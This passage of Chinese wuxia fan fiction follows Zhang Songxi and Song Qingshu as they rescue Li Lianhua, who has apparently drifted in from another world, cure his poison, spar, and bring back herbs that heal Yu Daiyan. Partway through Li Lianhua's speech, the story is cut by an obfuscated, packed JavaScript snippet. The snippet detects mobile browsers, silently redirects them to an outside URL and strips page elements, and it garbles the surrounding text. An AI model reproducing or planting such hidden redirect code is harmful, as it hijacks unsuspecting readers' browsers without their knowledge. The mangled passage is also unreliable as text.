一道灰色的人影,如蛰伏的鹰隼陡然惊起,自侧下方一片浓密灌丛中激射而出! 那身影在空中灵动折转,左足尖在近乎垂直的湿滑崖壁上轻轻一点,身形竟再次拔高,正是武当绝学“梯云纵”。 眨眼间,来人已至宋青书身侧,手臂一探,稳稳托住他肋下。一股柔和却沛然浑厚的力量传来,瞬间化解了下坠之势,带着他轻飘飘地向下滑翔,几个起落,两人已安然落回谷底坚实的土地上。 脚踏实地,心脏仍狂跳如擂鼓,宋青书脸色煞白,猛地扭头看向救他之人。 “四……四叔?!” 惊愕让他的声音变了调。眼前之人灰色短打,面容沉静,眉宇间带着未散的紧绷,不是张松溪是谁? 宋青书的双脚刚触及谷底湿滑的岩石,那股劫后余生的虚脱感还未散去,便被眼前人惊得忘了呼吸。他怔怔地看着张松溪,那张惯常沉静如水的脸上,此刻眉峰紧蹙,嘴唇抿成一条严厉的直线,眼底翻涌着后怕、庆幸,还有一抹不容错辨的怒气。 “四……四师叔?” 宋青书的声音干涩,带着劫后余生的微颤和难以置信。 张松溪没有立刻答话,目光如同最精准的尺,将他从头到脚飞快地丈量了一遍——苍白的脸色,被冷汗和岩壁水汽浸透贴在额前的碎发,磨破渗血、微微颤抖的十指,以及那身沾满泥污苔痕、狼狈不堪的布衣。 确认没有更重的伤势后,他才仿佛卸下千斤重担般,从胸腔深处沉沉地、长长地吐出一口气。但这口气吐出,随之而来的不是放松,而是压抑不住的责备,那责备里浸满了长辈看到晚辈行险后的心悸: “你这孩子!” 张松溪的声音比平日低沉,每个字都像是从牙缝里挤出来,带着岩石般的重量,“你没有功力,你当你自己是钢铁铸成的吗?看看你这双手,看看这崖壁!湿滑至此,飞鸟难立,你竟敢……竟敢就这般赤手空拳地往上攀!” 他伸手指向那高耸险峻的悬崖,指尖竟也有些微不可察的颤抖,“方才我若慢了半分,或是估算错了你下落的位置,你让我……你让山上的太师父、你父亲、你三叔他们,如何承受?!” 最后一句,不再是单纯的斥责,而是裹挟着深重后怕的诘问,像一记闷锤,敲在宋青书心上。 宋青书被他训得低下头,脸颊火辣,羞愧难当。 他知道自己这次确实是有些急躁了,自从自己用念力治得俞三叔能够行走之后,他的内心就一直陷于一种巨大的狂喜和狂热之中,甚至有些过度了,他适才被张松溪这么一斥,也觉得自己似乎是应该要神魂内敛一点,不然或许又致前世之祸。 所以他说:“四叔教训的是,青书以后不再犯了。”声音犹如蚊蚋。 张松溪见他如此,脸上严厉的线条终于稍稍缓和。 宋青书问:“四师叔,您……您怎么会恰巧到这里?” “并非恰巧,而是自你走后,师父和大哥还有你师叔们都担忧你的安危,师父说,青书此行,明路让他自己走,暗路,你可能替他看一看?大哥……大哥那张脸,自从你下山,就没松开过。” 他往前走了半步,离宋青书更近些,目光落在他磨破的手上,从怀中取伤药,眼中最后一点点愠色也化作了深切的怜惜,细致地替他涂抹包扎。又仔细地检查他身上是否还有其他受伤之处。 “傻孩子,你和你爹之间还在闹别扭吗?我看大哥也实在是关心你的,只是大哥不善于表达而已。” 张松溪的声音像叹息。 “等采完药草回去我会和爹好好说说话。”宋青书心想,等他完完全全地治好三叔的伤,确实该和爹好好相处一段时间了,父子俩之间确实是相互关心,但是也需要一些润滑的东西来弥缝,让它能够自如地运转。 “武当向来是上下一心。要是你受伤,我们如何能不牵挂?”张松溪稍稍用力,将宋青书按着转过身。 他疾言厉色地说:“所以,青书,给我听好了——往后行事,把‘小心’二字刻在骨头里。明白了么?” 这孩子实在是令人不放心啊。 “好了,我知道了,四叔,你好啰嗦呀。”宋青书忍不住说道。 “好呀,你个臭小子,还敢嫌弃我啰嗦,看我不回去跟大哥说说你。” “四叔,你真是一点武当四侠的影子也没有了” …… 32. 莲塘风动碧波翻 2 张松溪抬头望了望那湿滑高耸的崖壁,又看了看宋青书仍旧苍白的面色和血迹未干的手,心中已然有了决断。他拍了拍宋青书的肩膀,语气不容商量: “你在此处等着,莫要再动。这崖,我去探。” “四叔!” 宋青书急道,“这崖危险,您……” “正因危险,才不能让你再试。” 张松溪打断他,神色沉稳,“你且安心在此,看好包袱,若有异动,随时示警。” 他指了指崖下相对开阔、避开水潭溅湿的一小块干燥地面,“就在那儿,莫要离开。” 宋青书还想说什么,却见张松溪已束紧袖口,将随身佩剑连鞘插在宋青书脚边地上,只从怀中取出一捆极细却坚韧的乌丝索缠在腰间,又检查了靴底和掌心。动作利落沉稳,显然是早有准备,且经验丰富。他知道自己此刻确实帮不上忙,强行跟随只会成为累赘,只得将满腹的担忧与感激压下,重重点头:“四叔千万小心!” 张松溪不再多言,身形一动,便如一只灰色的大鸟,贴着岩壁轻盈而起。他不再像宋青书那样硬攀,而是施展武当轻功,手足并用,借力巧妙,每每在看似无可落足之处,以指尖或足尖轻点湿滑的苔藓或微凸的石棱,身形便再次拔高。乌丝索时而射出,缠绕上方岩缝,提供额外的借力与保险。他的动作迅捷而稳妥,与方才宋青书的艰难截然不同。 宋青书在崖下仰头望着,心紧紧揪着,直到看见四师叔的身影稳稳地攀升至农人所指的大致高度,开始在那些岩缝间仔细搜寻,才稍稍松了口气,依言退到那块干燥处。 约莫过了一炷香的时间,张松溪似乎已将那片区域搜寻了一遍,并未停留采摘。宋青书的心渐渐沉了下去。然而,张松溪并未立刻下来,他的目光被另一处岩隙吸引。那里背阴却有一缕极细的山水渗出,润泽着一小片深绿色的苔衣,苔衣中间,竟生着一株极其奇异的花。那花形似铃铛,花瓣颜色却在灰白与淡金之间流转,随着水光折射隐隐变幻,花心一点幽蓝,在这阴湿晦暗的崖壁上,显得格外突兀而神秘。张松溪虽不识此花,但其形态色泽绝非寻常山野之物,心中称奇,想着青书或许认得,或对医道有用,便小心地连根带少许苔泥采下,用油纸包了,纳入怀中。 就在他准备循原路返回时,不经意间回首,目光掠过下方蜿蜒流出山谷的河流。此时云雾稍散,阳光偶尔穿透,在水面洒下碎金。就在那波光粼粼之处,一叶极其简陋的扁舟,正无帆无桨,静静地顺水漂荡。舟上似乎……躺着一个人? 距离甚远,看不清细节,但那随波逐流、毫无生气的模样,绝非寻常渔夫或旅人。张松溪心中一凛,不再耽搁,迅速而稳妥地攀下崖壁。 脚一落地,宋青书立刻迎了上来,眼中带着希冀与询问。 张松溪摇了摇头:“农人所指的几处缝隙都仔细看过了,并无‘擎骨草’踪迹,许是年份不对,或是我们找错了地方。” 他看到宋青书眼中光芒黯淡下去,立刻又道:“莫急,既知可能在此山,我们再多方打听,或往他处崖壁找寻便是。” 说着,他取出那油纸包递过去,“不过倒发现一株奇异的花,你看看可识得?” 宋青书接过,打开油纸,见到那流转着灰白金异色的花朵,也是怔了怔,仔细辨认片刻,摇头道:“弟子孤陋,未曾在任何医书或杂记中见过此花。其形态色泽,确实罕见。” 心中虽失望于未找到擎骨草,但这奇花也让他略略分了神。 张松溪收回花,神色转为凝重,指向河流下游方向:“青书,方才在崖上,我看见下游河心漂着一叶孤舟,舟上似乎有人,情形有些不对。你随我来,我们去看看。” 两人顾不上再细究药草,匆匆拿起包袱和长剑,沿着河岸向下游疾行。不多时,便看见了那艘小舟,正卡在一处水流较缓的河湾芦苇丛边。 靠近了看,那舟简陋得几乎只是几块木板拼成,舱中积着少许河水。一人仰面躺在其中,衣衫是种很旧的、近乎褪色的淡青,已被水浸透,紧贴在身上,显得那人身形格外清瘦。 他双目紧闭,脸色是一种不祥的灰白,嘴角却似乎噙着一丝极淡、极模糊的弧度,像是放下了所有重担后的平静,又像是生命之火将熄前的余温。 “还有气息,但是很微弱。” 宋青书探手试了试那人颈脉,眉头紧锁。他与张松溪对视一眼,无需多言,两人小心地将那昏迷之人从冰冷的河水中抬出,移至岸边干燥的草地上。 宋青书取出水囊和干净的布巾,递了过去。张松溪则扶起那人,靠在自己膝上,先小心撬开牙关,喂入少许清水,又以武当纯阳内力缓缓渡入其心脉,助其驱寒护元。宋青书在一旁,用布巾擦拭那人脸上的水渍和污迹,露出了一张虽然苍白病弱、却眉目疏朗、骨相清奇的面容。 随着内力注入,那人冰冷的躯体微微回暖,长长的睫毛颤动了几下,竟缓缓睁开了眼睛。 那是一双极其疲倦、仿佛看尽了红尘万丈却又归于一片空濛的眼睛。初时有些涣散,待焦距慢慢凝聚,看清眼前是两个全然陌生、服饰气质迥异于他所知任何门派的人物时,眼中掠过一丝极淡的讶异,随即又化为了然般的平静,仿佛对自身际遇已无甚挂怀。 “多……谢。” 他开口,声音低哑微弱,几乎被风吹散,却自有一种温和的质地。 “兄台何以落得如此境地?可是遇了劫难?” 张松溪沉声问道,手上输送内力的动作未停。 那人,或者说,李莲花,靠着张松溪的支撑,轻轻摇了摇头,似乎连说话都耗费力气。他目光扫过自己手边的断剑,又望了望眼前陌生的山川与眼前人,嘴角那丝模糊的弧度似乎清晰了些许,带着一种奇异的、近乎释然的宿命感。 “劫难……已是过去的事了。” 他缓缓地,每个字都吐得艰难,却又清晰,“碧茶之毒……无解了。忘川花……唯一能解的……给了该给的人。江湖……该太平了……他们……也该安心了。” 宋青书听得心头巨震。“碧茶之毒”?“忘川花”?这些名字他闻所未闻,但话中那份以自身绝路换取他人平安的决绝与牺牲,却让他有所猜测。 李莲花歇了片刻,积攒了些许力气,目光投向茫茫河水,又仿佛穿透河水,看到了更遥远、更不可知的地方:“我断了剑……跳了江……想着,随它去吧。睡在船上……不知时日,不知方向……没想到……还活着。” 宋青书跪坐在侧,看着李莲花眉宇间那抹挥之不去的青灰死气,以及即便在昏迷中仍因体内剧痛而微微痉挛的手指,心中那股曾用于炼化鱼筋的奇异念力,再次不安地悸动起来。 他并无把握,只是出于一种近乎本能的冲动,以及对眼前之人同样舍己度人遭遇的深切共鸣,缓缓伸出双手,虚悬于李莲花气海上方。 那是一种极其微妙而耗神的体验。仿佛将自己的意识化作最纤细的触须,小心翼翼地探入一片冰封毒沼。 他“看”到了那纠缠在经脉中的阴寒毒素,狂暴、刁钻,正不断蚕食着眼前之人的生机。宋青书随即运转念力,将蠢蠢欲动、欲往心脉头脑冲击的毒流,缓缓地、艰难地,逼退回去,暂时封锁于下肢几处次要经脉之中。 不知过了多久,李莲花长睫一颤,发出一声几不可闻的呻吟,再次睁开了眼睛。 这一次,他眼中的空濛疲惫依旧,但那层笼罩的死灰之气却淡了些许,恢复了一丝清明的神采。 他感受了一□□内,那随时可能爆发的蚀骨之痛竟暂时蛰伏,虽然沉重依旧,却不再是立刻要命的架势。 他目光落在因为使用了念力而脸色苍白的宋青书身上,又看了看一旁的张松溪,哑声苦笑道:“原以为……此番必死无疑,毒性上行,神仙难救。没想到……这位小兄弟,竟有如此神通……能将碧茶之毒暂时压下。这份医术……高明至极,李某……佩服。” 他说话仍吃力,但比起方才,已顺畅不少。 “在下张松溪,这是师侄宋青书,皆是武当门下。” 张松溪沉声问道,“兄台方才提及‘碧茶之毒’、‘忘川花’、‘莲花楼’……恕张某孤陋,行走江湖多年,竟未曾听闻过这些名号与事物。” 李莲花微微颔首回礼,声音虽低哑,却清晰:“在下李莲花。‘莲花楼楼主’不过是从前朋友们玩笑的称呼。” 他略作停顿,目光扫过两人毫无作伪的疑惑神情,心中那点模糊的异样感开始凝聚。他尝试着说出几个在自己那方天地里如雷贯耳的名号:“‘四顾门’……诸位可曾听过?或是‘金鸳盟’?” 张松溪与宋青书对视一眼,俱是茫然摇头。张松溪沉吟道:“四顾门?金鸳盟?张某惭愧,中原武林大小门派,纵有未曾打过交道的,也多少听过名头。这两家……确是闻所未闻。不知是何方宗门?” 李莲花的心微微一沉。四顾门与金鸳盟当年声势浩大,几乎席卷江湖,但凡武林中人绝无可能不知。他压下疑虑,又问了另一个问题,一个更基础的问题:“那……如今是哪位皇帝在位?年号为何?” 宋青书这次很快答道:“当朝皇帝,年号至正。” 这是元朝末代皇帝的年号。 “至正?” 李莲花蹙眉,这个词对他来说全然陌生。他记忆中的朝代年号并非如此。他思索片刻,换了个问法:“那……大熙……皇帝呢?” 这是他原来世界的王朝。 “大熙?” 张松溪的眉头也皱了起来,他行走江湖,也曾留意朝堂之事,却从未听过这个国号。“李某所言‘大熙’,可是塞外或海外的国度?中原之地,自是大元天下。” “大元……” 李莲花喃喃重复,一个他同样未曾听过的国号。他闭了闭眼,再睁开时,目光投向远处云雾缭绕、形貌陌生的山峦,又看向脚下质地颜色迥异的河滩卵石,以及空中飞过的几种他叫不出名字的鸟雀。 种种细微的差异,此刻被串联起来,指向一个不可思议却逐渐清晰的结论。 他脸上露出一种混合了惊异、了然与淡淡荒诞的神情,轻轻咳了两声,才缓缓道:“张兄,宋少侠,并非二位孤陋寡闻,也非李某胡言乱语。只怕……我们所知的‘江湖’,并非同一个‘江湖’;我们所处的‘天下’,也并非同一片‘天下’。” 他指向那艘破烂的小舟:“我中了碧茶之毒,无药可解,便断了剑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109851|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳了江。原以为必死,便任由那小舟载着残躯,顺水漂流,无知无觉……或许在某个激流险滩,或是某种……难以言喻的机缘之下,” 他斟酌着用词,眼中也带着不确定的微光,“这船,连同船上的我,未曾沉没,却……漂到了此间。一个没有四顾门、没有金鸳盟、没有大熙……却有武当,有大元的……全然陌生的地方。” 张松溪与宋青书闻言,悚然动容。饶是张松溪见多识广,心志坚定,也被这匪夷所思的说法震住了。他下意识地看向那河流,水流平缓,两岸景色虽奇,却怎么看也只是寻常山川。“李兄之意是……你来自……另一方世界?” 这个概念过于玄奇,即便对于修行道家武学、知晓些许玄理的他而言,也近乎传说。 宋青书则更关注李莲花话语中透出的绝望与坦然,那份与自己当初决意下山寻药时相似的、将自身置之度外的平静,让他心有戚戚。他忍不住问道:“李前辈,您方才说‘碧茶之毒无药可解’,那‘忘川花’又是……?” 提到忘川花,李莲花眼中闪过一丝复杂的痛色,但随即被更深的平静覆盖:“忘川花,是唯一能解碧茶之毒的奇花。我寻到了,只有一株。” 他顿了顿,声音更轻,却字字清晰,“但……我用它,换了更重要的东西。江湖太平,故人周全。所以,我本已是将死之人。” 用自己的生机,换取在乎之人的安宁。武当侠义之道,亦有舍生取义之训,此刻听来,更觉有同种震撼。 突然,李莲花的目光骤然凝固,呼吸也为之一滞。 方才宋青书取药时,包袱未曾系紧,露出一角油纸,以及油纸中那抹流转着灰白金异色的花瓣。 他死死盯着那花瓣,灰白的脸上竟奇迹般涌起一丝激动的红晕,声音带着难以置信的颤抖:“那……那是……” 张松溪顺着他目光看去,心中一动,取出那完整的油纸包打开:“李兄认得此花?这是我在那边悬崖上偶然采得,因其形态奇特,便带了回来。” “忘川花……真的是忘川花!” 李莲花的声音激动得几乎破碎,他挣扎着想要坐得更直,眼中爆发出绝处逢生的光彩,“而且……不止一朵!这……这怎么可能……” 在他原来的世界,忘川花举世难寻,他耗尽心力也不过得一株,而眼前这油纸包里,赫然有三四朵之多! “原来这竟就是忘川花!”张松溪也没有想到自己一时起念摘了回来的花就是忘川花。 世间之大,无奇不有! 就在这时,宋青书因李莲花的话而心念转动,下意识地望向那艘半沉在河湾芦苇丛中的破旧小舟。舟中积水未退,方才只顾救人,未曾细看。此刻阳光恰好转过一个角度,照亮了船舱一角——那里,除了断裂的少师剑,竟还散落着几捆晒干了的、茎秆笔直灰褐、叶形若掌的奇异药草! 宋青书猛地起身,踉跄着冲到船边,捞起一把细看,手指都因激动而发抖:“擎骨草!这是擎骨草!这么多!” 原来李莲花漂泊之时,这奇异小舟不知经过多少山川水域,这些附着或漂入船中的药草,竟包括了宋青书苦寻不得的“擎骨草”,且数量颇丰! 三人面面相觑,一时竟都说不出话来。谷中只有风吹芦苇的沙沙声和水流潺潺。 片刻,张松溪率先朗声大笑,笑声中充满了畅快与感慨:“妙极!妙极!青书苦寻擎骨草不得,李兄身中奇毒需忘川花而不得,谁料想……这岂非天意?” 宋青书捧着那把干燥却坚韧的擎骨草,也忍不住露出如释重负的笑容,看向李莲花的眼神充满了欣喜:“李……李前辈,您有救了!这忘川花,正好能解您的毒!” 李莲花靠在那里,看着眼前全然陌生的两人,一个沉稳可靠,一个温和坚毅,又看看那失而复得的忘川花,再想想自己船中莫名多出的、对宋青书至关重要的药草,只觉得这一切离奇得如同梦境。 他苍白病弱的脸上,缓缓绽开一个真切而明亮的笑容,那笑容冲淡了所有病容与死气,只剩下纯粹的、劫后余生的庆幸与温暖。 “天不亡我……” 他轻轻叹息,带着前所未有的轻松,“也幸得……遇见二位。” 无需再多言。宋青书当即以那几朵忘川花为主药,辅以随身携带的一些调和药性的药材。他没有丹炉,便以双掌虚合,再次催动那玄妙的念力。 忘川花在他掌心上方寸许处缓缓旋转,奇异的光泽流转,与其它药力交融,渐渐化为几颗氤氲着淡淡霞光、异香扑鼻的丹丸。 李莲花服下丹丸,运起体内残存的一丝扬州慢内力引导药力。碧茶之毒与忘川花性相生相克,解毒过程凶险无比,但宋青书的念力始终如最灵巧的丝线,穿行其间,护住李莲花心脉要害,引导药力精准冲击毒素。张松溪则在外护法,以雄浑内力隔绝外界干扰,并随时准备应对不测。 数个时辰后,李莲花猛地吐出一大口漆黑腥臭的毒血,脸色虽然依旧苍白,但眉宇间那缠绕已久的青黑死气,却已消散殆尽! 他缓缓睁眼,眸中神光内蕴,虽因久病初愈而虚弱,但那属于顶尖高手的内敛光华悄然回归。 毒既解,身心俱松。 33. 莲塘风动碧波翻3 几日过去。 李莲花感念张宋二人救命之恩,张松溪与宋青书亦敬佩李莲花的人品胸襟。 张松溪见猎心喜,笑道:“李兄武功路数别具一格,张某见之欣喜,不知可否切磋一二,点到为止?” 碧茶之毒尽祛,忘川花的药力与宋青书那玄妙念力的辅助,不仅拔除了沉疴,更仿佛一股清泉,滋润了李莲花干涸枯损多年的经脉。 经过几日的修整之后,虽内力远未恢复旧观,但那种如影随形、跗骨之蛆般的阴寒痛楚已然消失,取而代之的是一种久违的、属于身体本身的轻盈与通透。 河滩空地,乱石稍加清理。张松溪与李莲花相对而立。宋青书退至一旁观战。 “李兄,请。” 张松溪抱拳一礼,神色郑重。他知李莲花内力未复,此非生死相搏,而是武学交流。他并未摆出任何武当派著名的起手式,只是随意一站,身形却仿佛与身后流淌的河水、不远处沉默的山崖融为一体,气息绵长深远,无懈可击。这是将武当心法修炼到极高境界后,自然而然流露出的与天地合其德的意蕴。 李莲花微微一笑,还了一礼:“张兄,请多指教。” 他手中无剑,只是随意垂手站着,姿态甚至有些松散。然而,当他目光抬起,看向张松溪时,那双总是带着几分倦意与疏离的眼眸,瞬间变得清明而专注,仿佛能穿透表象,直指核心。这是一种历经千帆、看透生死与武学虚妄后沉淀下的洞察力。 没有预兆,李莲花动了。并非疾如闪电,也非势大力沉,只是脚步一错,身形如风吹柳絮,倏忽间便已贴近张松溪身侧三尺之地。 这一动,全然违背常理,似左实右,瞻之在前,忽焉在后,竟有些类似武当梯云纵的轻灵,却又多了一份难以捉摸的诡变与从容,仿佛不是他在动,而是周遭的势在推着他动。 张松溪眼中精光一闪,不闪不避,右掌如封似闭,缓缓推出。 这一掌看似极慢,实则蕴含了武当绵掌“后发先至”、“以慢打快”的精髓,掌心微陷,一股柔和却沛然莫御的吸力隐隐生出,仿佛身前出现了一个无形的漩涡,要将李莲花那飘忽的身形定住、吸入。 然而,李莲花那看似前倾的身形,在即将触及掌力漩涡边缘时,竟以毫厘之差,如游鱼般滑了开去。他并未硬撼,也未远遁,只是借着张松溪掌力牵引的些微空隙,一指悄无声息地点向张松溪肘后“曲池穴”。这一指无声无息,角度刁钻,时机妙到毫巅,正是攻敌之必救,且将自身消耗降至最低。 “好!” 张松溪忍不住赞了一声。他掌势不变,只是小臂如同没有关节般向内一缩一弹,肘部画了个极小的圆弧,不但避开了那一指,缩回的手臂如蓄势的弓,蕴着更强的反弹之力。同时,他左腿如灵蛇出洞,无声无息地扫向李莲花下盘,正是武当腿法中的“金丝缠枝”,柔软缠绵,却暗藏绊锁擒拿的后续变化。 李莲花似乎早有所料,点空的手指顺势下划,指尖轻触张松溪扫来的小腿胫骨,并非硬挡,而是如同抚琴按弦,一触即收,借力使力,整个身体便如一片羽毛般向后飘荡开去,恰好避开了腿法的缠绕范围。他人在空中,衣袖拂动,几片被气流带起的草叶竟如暗器般,带着细微的破空声,射向张松溪面门几处无关紧要却足以扰敌视线的□□。 张松溪不慌不忙,吐气开声:“嗬!” 一口内息喷出,竟将那些草叶尽数吹散。但他心中震动不已。李莲花这几下应对,全然不依常规,招式之间的衔接浑然天成,毫无烟火气,仿佛信手拈来,却又每每击中旧力已尽、新力未生的关键节点。更难得的是那份对敌我力量、时机、空间精准到可怕的判断与利用,几乎达到了“料敌机先”的境界。这绝非仅凭招式精妙所能及,而是建立在一种极高明的武学智慧与战斗本能之上。 两人你来我往,转眼已过几十余招。张松溪的武当功夫愈发显得中正平和,如长江大河,看似波澜不惊,实则底蕴深厚,劲力圆转如意,守时稳如磐石,攻时绵绵不绝。他将内力控制在极低水平,更多是展示招意的精妙与内劲运用的变化。 而李莲花则如同一缕捉摸不定的风,一片变幻无方的云。他没有固定的套路,身法、指法、袖功、乃至随手可得的草叶石子,皆可信手化为攻防利器。他的移动轨迹充满了不可预测的“变数”,时而如鬼魅贴近,时而如飞鸿远飏,总能在张松溪那看似严密的气场与招式网络中,寻到那一丝稍纵即逝的“缝隙”,以最小代价达成牵制或闪避。他的武功,仿佛已经脱离了具体招式的束缚,进入了“意在招先”、“因敌变化”的化境。 张松溪越打越是心惊,也越是欣喜。心惊于李莲花武学境界之高,远超其目前内力所显示的水平;欣喜于自己竟能遇到如此迥异又如此高明的武学理念。 他隐隐感到,李莲花的武功路数,虽与自己道家武学大相径庭,但在某些核心理念上——比如对“自然”、“时机”、“虚实”的运用——竟有异曲同工之妙,甚至提供了另一种极具启发性的视角。 他忽然变招,不再追求招式的连贯与劲力的叠加,而是双掌一摊,如抱太极,身形缓缓旋转,带动周围的气流都似乎随之盘旋。这一式“怀抱太极”,乃是武当拳法之根基,看似缓慢笨拙,实则将自身守御得滴水不漏,且暗含无穷反击后手,是以静制动、以不变应万变的极高明法门。 李莲花见状,眼中赞赏之色更浓。他不再游走试探,竟也停了下来,站在张松溪气场所及的边缘,同样摆出了一个极其松弛自然的姿势,仿佛只是随意站立,但精神却空前凝聚,如同与整个环境融为了一体,不分彼此。他没有去攻击那看似缓慢旋转、实则无懈可击的“太极圈”,只是静静“看”着,仿佛在感受其中气机流转的韵律与节奏。 片刻,李莲花忽然动了。他并非直冲中宫,也不是绕行侧击,而是向前轻轻踏了一步,右手食指伸出,似缓实快,点向张松溪那缓缓转动的“太极圈”中,某处气流微微滞涩、新旧之力转换的微妙节点。这一指,不带丝毫烟火气,没有凌厉的破风声,却精准得如同未卜先知。 张松溪心中剧震!李莲花点向的,正是他这一式“怀抱太极”在匀速运转中,因呼吸、心意转换而自然产生的、几乎无法察觉的、稍纵即逝的“断点”!这需要对气机流动敏锐到极致的感知,以及超越招式表象、直指核心的洞察力。 他不及变招,只得顺势将旋转之势一收,双掌一合,如封似闭,堪堪挡住那一指。指掌相交,无声无息。张松溪只觉一股极其柔韧又略带锋锐的劲力透入,并非要伤人,而是如同最灵巧的探针,一触即收。 两人同时后退一步,相视而立,眼中皆爆发出明亮的光彩。 张松溪率先哈哈大笑,笑声畅快淋漓:“妙!妙极!李兄这一指,可谓‘画龙点睛’!不,是‘窥破天机’!张某这‘怀抱太极’,自认已得其中三昧,今日方知,世间竟有人能如此洞悉其流转之秘!李兄对气机、对‘势’的把握,已入微入化,佩服!” 李莲花亦是面带微笑,气息虽因活动而微促,眼神却湛然有神:“张兄过誉了。武当武学,中正醇和,深合自然大道。尤其是方才这一式,看似守势,实则已将自身与周遭环境化为一体,动静皆宜,攻守一体。李某不过取巧,窥得一丝韵律变化的空隙罢了。倒是张兄内力之精纯,劲力运转之圆融无碍,令李某大开眼界。久闻武当内功冠绝天下,今日一见,方知传言不虚。” 张松溪摇头,正色道:“非也。内力修为尚可苦练,但李兄这份‘眼力’与‘心力’,这份超脱招式藩篱、直指武道本源的‘意’,却是万中无一。今日与李兄切磋,张某获益匪浅。武当武学讲究‘以柔克刚’、‘后发制人’,今日观李兄应对,于‘柔’之外,更见‘变’与‘机’的无穷妙用。许多以往未曾深思的关节处,此刻竟有豁然开朗之感。” 李莲花也感慨道:“张兄武学,根基扎实如岳峙渊渟,一招一式莫不深契道法自然。与我从前所历之刚猛迅疾、奇诡狠辣路数,截然不同。这般中正平和的武道,于修身养性、体悟天地之理,大有裨益。方才观张兄气机流转,竟让我对自身内力恢复后的运行路径,生出一些新的想法。” 两人不再动手,就站在河滩上,你一言我一语,探讨起方才切磋中的细节,从一招一式的应对,谈到内劲运用的微妙差异,再引申至各自对武学本质的理解。张松溪向李莲花详细解释武当心法“以气驭力”、“阴阳相济”的奥妙;李莲花则分享了自己对“时机”、“环境利用”以及“以最小代价达成目的”的实战心得,其中蕴含的智慧,令张松溪频频颔首。 “今日得遇李兄,实乃张某之幸。” 张松溪郑重拱手。 “能得张兄指点,亦是李某之福。” 李莲花含笑还礼。 “哈哈哈哈哈……”二人均是朗声大笑,豪气干云。 一种基于对等实力与相互启迪的深厚友谊,在这落英山下的无名河滩,悄然缔结。 待二人切磋已毕。 “四叔,李前辈,”宋青书抬起头,声音里带着归心似箭的重量,“擎骨草既已寻得,且数量充足,青书……想尽快回山了。三叔的腿,早一日用药,便早一日好。” 张松溪正用一根细枝,在沙地上勾画着方才与李莲花切磋时体悟到的某个劲力转换的轨迹,闻言停下动作,点头道:“理应如此。你下山这些时日,山上不知如何牵挂。如今药草齐备,是该速速回去,让岱岩安心,也让师父和诸位师兄弟放心。” 李莲花斜靠在一块大石上,手中把玩着一朵干了的忘川花花瓣,闻言微微一笑:“救命之恩,不敢言谢。宋小友归心似箭,是为至孝至诚。” “青书,四叔把你送至武当山下……”张松溪看向李莲花,眼中闪过一丝兴致。他这几日颇有一种把李莲花引为知己的情绪。 “张兄若不嫌弃,李某对这方全然陌生的江湖,倒是颇有几分好奇 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紧接着,俞莲舟、殷梨亭等几位师叔也快步迎来,虽不像莫声谷那般外露,但眼中那份如释重负的欣慰与打量他是否安好的目光,同样炽热。 宋远桥站在稍后一些,负手而立,脸色依旧严肃,但紧绷的嘴角已然松弛,目光在儿子身上停留片刻,微不可察地点了点头。 “弟子宋青书,拜见父亲,拜见各位师叔。” 宋青书放下行囊,恭敬行礼,“幸不辱命,擎骨草已寻得,且数量颇丰。” “好,好!” 俞莲舟连连点头,目光落在那鼓鼓囊囊的包袱上,“平安回来就好。快,先去见过太师父。” 真武大殿侧殿,张三丰正闭目静坐。 宋青书将大致经历禀明,略去了坠崖的惊险,只道幸得四叔张松溪暗中护持,又机缘巧合结识了一位名叫李莲花的异人,得其相助,方得顺利寻获大量擎骨草,并提及张松溪已与李莲花结伴游历去了。 至于李莲花来自异界、碧茶之毒等玄奇之事,他隐去未提,只说是位身世坎坷、见识不凡的奇士。 张三丰听罢,颔首微笑:“松溪行事,向来稳妥。你能得此机缘,结识益友,亦是造化。药草既足,便安心炼制吧。岱岩那边,一直盼着。” 接下来的日子,宋青书几乎足不出户,将自己关在了丹房之内。他拒绝了道童帮忙,所有工序亲力亲为。清洗、晾晒、配伍、研磨……他将对俞岱岩的愧疚、对师门的感恩、以及那份重塑自我的决心,都倾注在了这枯燥而精细的过程中。炼制磐石固元丹需以特殊念力引导药性融合,极为耗神,他常常脸色苍白,汗透重衣,却始终眼神专注,手法稳定。 丹成那日,异香弥漫半山,连后山闭关的几位长老都被惊动。张三丰亲至丹房外,驻足片刻,含笑离去。 俞岱岩开始服药。每日晨昏,宋青书必亲自将温热的丹药送去,看着他服下,又以自身那恢复了些许、仍显微弱的真气,辅助药力行开。最初几日,俞岱岩只觉一股温和却坚韧的热流在旧伤处缓缓流转,带来麻痒与微痛,但以往那种深入骨髓的阴冷滞涩感,却在一点点消退。 第一个月过去,俞岱岩发现自己拄拐站立的时间,明显延长了,以往走十几步便要歇息,如今能绕着小院缓行两圈,虽然依旧吃力,汗水淋漓,但步伐稳了许多。 第二个月,变化更为显著。他感到腿部肌肉不再是死气沉沉的麻木,开始有了真实的、属于他自己的力量感。某日清晨,他尝试着不用拐杖,仅用手扶着墙壁,竟独自缓缓站直了身体,虽然颤抖得厉害,却稳稳站住了! 俞莲舟等人虽未如此外露,但眉梢眼角的喜悦,藏也藏不住。 第三个月末的一天,正是秋高气爽。俞岱岩服下最后一颗磐石固元丹后,并未像往常一样立刻调息,而是深吸一口气,在宋青书紧张的目光中,缓缓松开了扶着桌沿的手。 他站住了。稳稳地。 然后,他试着,抬起了左脚,向前迈出了一步。没有拐杖,没有搀扶。脚步落地,虽轻,却扎实。 一步,两步,三步……他慢慢地在小院中走了起来。起初还有些僵硬谨慎,越走,步伐越是流畅自然。 走着走着,俞岱岩忽然心念一动,体内那沉寂了十余年、几乎以为早已散尽的武当基础内力,竟随着步履的节奏,自然而然地、微弱地流动起来! 他下意识地按照入门心法引导,那丝内力竟听话地循着经脉游走,虽细若游丝,却真实不虚,所过之处,暖意融融,驱散了最后一丝陈年旧伤带来的隐痛。 他停下了脚步,闭上眼,感受着那久违的、属于武者的内力在体内复苏的悸动。虽然只有巅峰时期的两成左右,但对于一个被断言终身残废的人来说,这无异于神迹! 